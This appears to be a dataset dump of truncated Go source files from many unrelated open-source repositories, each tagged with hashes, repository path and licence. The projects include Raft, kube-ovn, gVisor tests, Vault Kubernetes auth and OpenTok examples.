package main import ( "context" "flag" "fmt" "os" "strings" "github.com/google/go-github/v26/github" "golang.org/x/oauth2" ) const ( version = "0.1.1" ) var ( displayVersion bool isPrivate bool accessToken string ) func main() { if len(os.Args) < 2 { fmt.Println("Invalid number of arguments:"...
55f945d7bdc8f7d5b0a04d50468928cbdfe8f9a3
9d5de6ef6cd95d2d99570755858efe4afe209a97
liguochao/plugins
/plugins/ipam/static/main.go
Go
go
6,512
permissive
// Copyright 2018 CNI authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in ...
70af03bf5c6a6428c387fa368d0dde6e0cfd5f30
1e7b8b30bdd299990b2f3f90d26370d3f21bf312
umamiMike/goSandbox
/concurrency/fan-in-demo.go
Go
go
683
no_license
package main import ( "fmt" "github.com/icrowley/fake" "math/rand" "time" ) func producer(ch chan string, t1 time.Time, name string) { var i int r := rand.New(rand.NewSource(99)) for { t2 := time.Now() d := t2.Sub(t1) s := d.Seconds() ch <- name + "," + fmt.Sprintf("%v", s) i++ rantime := time.Dura...
e903655c390de5560c8eb7f9f080f1ff7ebe3065
6de2b1f7663ed12aedd094ed3eaad4f4bbb42194
zengming00/go-testShop
/models/db.go
Go
go
228
permissive
package models import ( "database/sql" _ "github.com/mattn/go-sqlite3" ) func OpenDB() *sql.DB { var db, err = sql.Open("sqlite3", "./models/test.db") if err != nil { panic(err) } db.SetMaxOpenConns(100) return db }
e559a449c491fa497b261abc28a46bb75e3ada17
5fe381b6c1a7e6dff7d3d515591c6371e1543216
OpenSystemsLab/awless
/aws/spec/instance.go
Go
go
9,981
permissive
package awsspec import ( "fmt" "time" awssdk "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/awserr" "github.com/aws/aws-sdk-go/service/ec2" "github.com/aws/aws-sdk-go/service/ec2/ec2iface" "github.com/aws/aws-sdk-go/service/elbv2/elbv2iface" "github.com/hbbio/awless/cloud" "github.com/hbbio/a...
b86c909fb0290760dcd7083963467576c6b13970
122a3f8d2af1b2dd6f4f11f3e791c4179514319e
diegopacheco/raft
/part2/raft.go
Go
go
16,553
permissive
// Core Raft implementation - Consensus Module. // // Eli Bendersky [https://eli.thegreenplace.net] // This code is in the public domain. package raft import ( "fmt" "log" "math/rand" "os" "sync" "sync/atomic" "time" ) const DebugCM = 1 // CommitEntry is the data reported by Raft to the commit channel. Each c...
bc108a1bc2d63d513c38397b1f08bce601d35977
9f4652147f3d6c5bb9351e9358012c029a9548d2
sailingwithoutwind/kube-ovn
/pkg/controller/subnet.go
Go
go
32,953
permissive
package controller import ( "context" "fmt" "net" "reflect" "strconv" "strings" "time" kubeovnv1 "github.com/alauda/kube-ovn/pkg/apis/kubeovn/v1" "github.com/alauda/kube-ovn/pkg/ovs" "github.com/alauda/kube-ovn/pkg/util" v1 "k8s.io/api/core/v1" k8serrors "k8s.io/apimachinery/pkg/api/errors" metav1 "k8s....
6cec66e4484fca6803c0d9de5430a8f4187d72fc
692f2d669ed2aadc63ed5eebc9478f238d29e0e7
DougEverly/health-go
/example/custom/main.go
Go
go
1,518
permissive
package main import ( "flag" "fmt" "github.com/nelkinda/health-go" "io" "net" "net/http" "os" "os/signal" "strings" "syscall" ) func main() { portPtr := flag.Int("port", 0, "Port for the backend service.") flag.Parse() listener, url := mustStart(*portPtr) _, _ = fmt.Fprintf(os.Stderr, "%s: info: URL: %...
b291ad755f65b158db0b57563efbd4ce31c81666
6d016709cce227e4642511917f2f3c1f417b52e1
vitessio/vitess
/go/vt/vttablet/tabletmanager/vdiff/shard_streamer.go
Go
go
1,846
permissive
/* Copyright 2022 The Vitess Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, soft...
54eaca67ff1e71049f19834e78affafff2200c69
ef557e179eb5fcfa326f9ccf03f0304034f69c98
m0l1ce/openrasp
/cloud/src/rasp-cloud/filter/access.go
Go
go
2,198
permissive
//Copyright 2017-2019 Baidu Inc. // //Licensed under the Apache License, Version 2.0 (the "License"); //you may not use this file except in compliance with the License. //You may obtain a copy of the License at // //http: //www.apache.org/licenses/LICENSE-2.0 // //Unless required by applicable law or agreed to in writi...
c7d058b83670b87b1f7f8f01e97268153f32360c
e8ade882b1f513d17992c7bc0d7087781c7a0e9f
DarcySail/gvisor
/pkg/tcpip/transport/udp/udp_test.go
Go
go
56,362
permissive
// Copyright 2018 The gVisor Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agree...
bfc082d8fc79f03d7a20c8e3d48303b3256e28b9
6e320d3f0000daa60c644517d05e8a203df65201
kwkoo/credscontroller
/credscontroller/vendor/github.com/hashicorp/vault/vendor/github.com/hashicorp/vault-plugin-auth-kubernetes/path_login.go
Go
go
12,261
permissive
package kubeauth import ( "context" "crypto/ecdsa" "crypto/rsa" "errors" "fmt" "github.com/briankassouf/jose/crypto" "github.com/briankassouf/jose/jws" "github.com/briankassouf/jose/jwt" "github.com/hashicorp/errwrap" multierror "github.com/hashicorp/go-multierror" "github.com/hashicorp/vault/sdk/framework...
db1f74364531bf65ff2dfc8d7e7990e4583b6309
3614a0b3f3ff9c262f02864c35c72d36812b066e
calvertyang/opentok-go-sdk
/opentok/example_session_test.go
Go
go
2,651
permissive
package opentok_test import ( "fmt" "time" "github.com/calvertyang/opentok-go-sdk/v2/opentok" ) func ExampleOpenTok_CreateSession() { session, err := ot.CreateSession(&opentok.SessionOptions{ ArchiveMode: opentok.AutoArchived, MediaMode: opentok.Routed, }) if err != nil { fmt.Println(err) } else { f...
9113708776ec6696c11894638c98614db6c581ec
9a026f508b8b0e249e00deb15300bd859ae04ef6
johcar/workflow
/metric/metric.go
Go
go
625
permissive
package metric //Provider is a interface that is used to handle Different metric sources type Provider interface { AddMetric(*Metric) error IncrementMetric(name string, value float64) error GetMetrics() map[string]*Metric GetMetric(name string) *Metric } // Metric is information about a certain value of a process...
ae0128fbe6240297822d5e5d21cfd9313639d98e
2530813c03db671a2917d8a6521dc6a2ad38a28b
chen3a3y3/power_server
/main.go
Go
go
271
no_license
package main import ( "fmt" "github.com/gin-gonic/gin" "private/power_server/service" ) func main() { r := gin.Default() r.GET("ping", service.Ping) if err := r.Run("localhost:8080"); err != nil { fmt.Printf("failed to start gin server, err = %v\n", err) } }
6aa9519dcdb61c7ce138ba0d3d6b080894762483
3e3d74a14dcb8c9da0a8ee807e21634038000307
romainmenke/schema-org-gen
/schemaorggo/bridge.go
Go
go
29,713
permissive
package schemaorggo import "encoding/json" // Bridge see : https://schema.org/Bridge type Bridge struct { typeContext // With properties from CivicStructure see : https://schema.org/CivicStructure // // With properties from Place see : https://schema.org/Place // // With properties from Thing see : https://s...
6ecc0bf8032ab98f62e0cffeb15680a2835c66f4
06912612550e5d5e54bc1bdaa0891bc881313432
fanzhaogui/--go-expamle
/db/redis.go
Go
go
1,003
no_license
package db import ( "api.service.com/config" "fmt" "github.com/go-redis/redis" //"time" ) var redisClient *redis.Client func InitRedis() { conf := config.GetConfig() client := redis.NewClient(&redis.Options{ Addr: conf.GetString("redis.addr"), Password: conf.GetString("redis.password"), DB: co...
2be11ff7b7d6fe403a81a5a66bb8d89939dd112c
d7a59e476fc2db8a49298fac4674869860226f90
opendevices/pubnub-go
/objects_get_members_test.go
Go
go
3,462
permissive
package pubnub import ( "fmt" "strconv" "testing" h "github.com/pubnub/go/tests/helpers" "github.com/pubnub/go/utils" "github.com/stretchr/testify/assert" ) func AssertGetMembers(t *testing.T, checkQueryParam, testContext bool) { assert := assert.New(t) pn := NewPubNub(NewDemoConfig()) incl := []PNMembersI...
5cfec95e54ca269c99917401f0e0c11cef921eef
7ea88d10ac33db6368bdea60a03798362c291f94
JunRun/RunTools
/rgo/timer.go
Go
go
299
no_license
/** * * @Description: * @Version: 1.0.0 * @Date: 2019-12-12 14:04 */ package rgo import ( "fmt" "sync" "time" ) var Group sync.WaitGroup func Timer() { go func() { for { select { case <-time.After(2 * time.Second): fmt.Println("time out...") Group.Done() } } }() }
36d473e37f803a19b0d79719d37a10fd3513fcab
30e7c4d989bb3e1cef804e707c6f841a5edfb2e4
fonero-project/fonero-golang
/services/compliance/main.go
Go
go
5,484
permissive
package main import ( "fmt" "net/http" "os" "runtime" "time" log "github.com/sirupsen/logrus" "github.com/facebookgo/inject" "github.com/goji/httpauth" "github.com/spf13/cobra" "github.com/fonero-project/fonero-golang/clients/federation" "github.com/fonero-project/fonero-golang/clients/fonerotoml" "githu...
e186d3c2face5abd2e19f1383622f3a6dc2f732b
b612d339c2d3497ff788f435dc8929c3e6fd96cb
sighupio/permission-manager
/internal/resources/clusterrole.go
Go
go
724
permissive
package resources import ( rbacv1 "k8s.io/api/rbac/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) func (r *Manager) ClusterRoleCreate(roleName string, rules []rbacv1.PolicyRule) (*rbacv1.ClusterRole, error) { return r.kubeclient.RbacV1().ClusterRoles().Create(r.context, &rbacv1.ClusterRole{ ObjectMeta: meta...
4a8fe702afcd12ba83f32c38d097243f46508075
7e89652b5b165a52cf747fc57e71442585799649
LeagueProject/LeagueAPI
/data_base_interaction.go
Go
go
10,398
no_license
package main import ( "bytes" "crypto/md5" "encoding/json" "errors" "fmt" "net/http" "strconv" "github.com/lib/pq" ) /** * @desc Verifica daca exista sau nu un user in database * @param $userName (string) : username-ul dupa care se face query-ul * @return bool -> false daca au aparut erori / nu exista si tru...
fae235e9c754d1e501bac9ef244be0bc55fa1e95
25e92b45de4945193750766598a291c9919458e3
00mjk/eventhorizon
/pkg/policy/serialization_test.go
Go
go
787
permissive
package policy import ( "testing" "github.com/function61/gokit/testing/assert" ) func TestSerializeDeserialize(t *testing.T) { policySerialized := Serialize(testingPolicy()) assert.EqualString(t, string(policySerialized), `{ "statements": [ { "effect": "Allow", "actions": [ ...
d24c473a918606487e350323a31b0501b7122214
74046abcb987cadce8f229500578aa5e2a93508e
jcpowermac/vmware-vsphere-csi-driver
/pkg/csi/service/node.go
Go
go
50,959
permissive
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, ...
0518163cfacf05f0c3644d235ff2a81f1c47b74d
b6c03e41a8536a7ee745c60e4e690cb3e8bb97d4
bububa/opentaobao
/model/icbu/AlibabaIcbuProductListAPIRequest.go
Go
go
6,632
permissive
package icbu import ( "net/url" "github.com/bububa/opentaobao/model" ) // AlibabaIcbuProductListAPIRequest 商品查询 API请求 // alibaba.icbu.product.list // // 根据类目ID和商品名称查询商品概要信息。结果以修改时间倒序返回,支持分页,每页最多30个。每次调用都是独立的请求,不记录调用的上下文。 type AlibabaIcbuProductListAPIRequest struct { model.Params // 商品名称,支持模糊匹配 _subject string ...
b760f3c0d635e51e9a8eaeb901012cf1e239f961
c96a1ba076c51ad1a1d60098bbe2cda75b4b7952
muharihar/opa
/internal/prometheus/prometheus.go
Go
go
5,418
permissive
// Copyright 2019 The OPA Authors. All rights reserved. // Use of this source code is governed by an Apache2 // license that can be found in the LICENSE file. package prometheus import ( "bufio" "encoding/json" "net" "net/http" "strconv" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus...
c5457bf329e74591764651715e6a4d16c1f4d2e0
ea04932840e3de8a35e7b03a01b92d1ae166ec42
rohitrav33ndran/octant
/internal/modules/overview/yamlviewer/yamlviewer_test.go
Go
go
645
permissive
/* Copyright (c) 2019 the Octant contributors. All Rights Reserved. SPDX-License-Identifier: Apache-2.0 */ package yamlviewer import ( "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/vmware-tanzu/octant/pkg/view/component" corev1 "k8s.io/api/core/v1" ) func Te...
47cf0163dd0ba6fe385c887725c1376c6c5c7f90
05190b10b13b95eab8fdf02818a28c1856f7e111
lynnsh/voucher
/repository/client.go
Go
go
341
permissive
package repository import "context" // Client is a client for a version control source type Client interface { GetCommitInfo(ctx context.Context, commitURL string) (CommitInfo, error) GetOrganization(ctx context.Context, uri string) (Organization, error) GetDefaultBranch(ctx context.Context, commitURL string) (Def...
f14c2bf1e9c78e156807bb9ca6334e87044eae4c
57e90852f6dab7eeeb54754d027a649d8703c3f1
uber/tchannel-go
/tracing.go
Go
go
10,978
permissive
// Copyright (c) 2015 Uber Technologies, Inc. // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, ...
0927d404d5a12b8eaab85694e5e4f275cbdc0094
ba13ed5d442310c9e3cc24055291b98d2e29ec81
tommyreddad/knative-gcp
/pkg/apis/messaging/v1beta1/channel_validation_test.go
Go
go
6,276
permissive
/* Copyright 2019 The Knative Authors Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, soft...
d4276e43b4f56aa7bdb8f70ffae1932534177b43
c06be352963122ae6092da11f5af205c0ab9f98f
maxking/weeclient
/src/client/handlers.go
Go
go
6,911
permissive
package client import ( "fmt" "strings" "github.com/gdamore/tcell/v2" "github.com/gen2brain/beeep" "github.com/maxking/weeclient/src/color" "github.com/maxking/weeclient/src/weechat" "github.com/rivo/tview" ) // ******************************************* // Methods for HandleWeechatMessage interface. // ****...
401cd43f0c70c71d363cf857d8b115984ab62eb2
f16bf88e59fefd320f8172cca8670cd69b77d3e6
abxd39/exchange
/vendor/github.com/armon/go-metrics/inmem_signal.go
Go
go
2,940
permissive
package metrics import ( "bytes" "fmt" "io" "os" "os/signal" "strings" "sync" "syscall" ) // InmemSignal is used to listen for a given signal, and when received, // to dump the current metrics from the InmemSink to an io.Writer type InmemSignal struct { signal syscall.Signal inm *InmemSi...
a52a852dd3ac5a273def679eade39192113b9605
63b784d1f622ea94917f359e3a1cc17a9e242db5
474420502/focus
/list/priority_list/priority_list.go
Go
go
4,050
permissive
package plist import ( "strings" "github.com/474420502/focus/compare" "github.com/474420502/focus/list" "github.com/davecgh/go-spew/spew" ) type Node struct { prev, next *Node value interface{} } type PriorityList struct { head, tail *Node size uint Compare compare.Compare } // 优先队列的Index 正负...
bac51be7a35240ab95ff0e355178b3fd6fb4ce92
606a8e3a5d6acbce2ebb43409df31e5f6f715155
alex19pov31/json-config
/config_test.go
Go
go
719
no_license
package config import ( "errors" "reflect" "testing" ) type testObject struct { Title string `json:"title"` FloatNumber float32 `json:"float_number"` IntNumber int `json:"int_number"` Swith bool `json:"switch"` } var testVar = &testObject{ Title: "testing", FloatNumber: 42.0, In...
2de7b071afcbf358092d6a9c104d7b1a0a58c0d1
6d9e6c261c4c2426eaeab2be726cf2e5d5ede344
atlantis26/MyItTechnology
/算法与数据结构/golang实现数据结构/Algorithm/chapter8_graph/main.go
Go
go
1,887
no_license
package main import ( "Algorithm/chapter8_graph/graph" "fmt" "math/rand" ) // 测试稀疏阵列图的相邻边的迭代器 func TestSparseGraph() { N := 20 M := 100 g1 := graph.NewSparseGraph(N, false) for i:=0; i < M; i++ { a := rand.Intn(N) b := rand.Intn(N) g1.AddEdge(a, b) } for v:=0; v < N; v++ { var adj graph.AdjIterator ...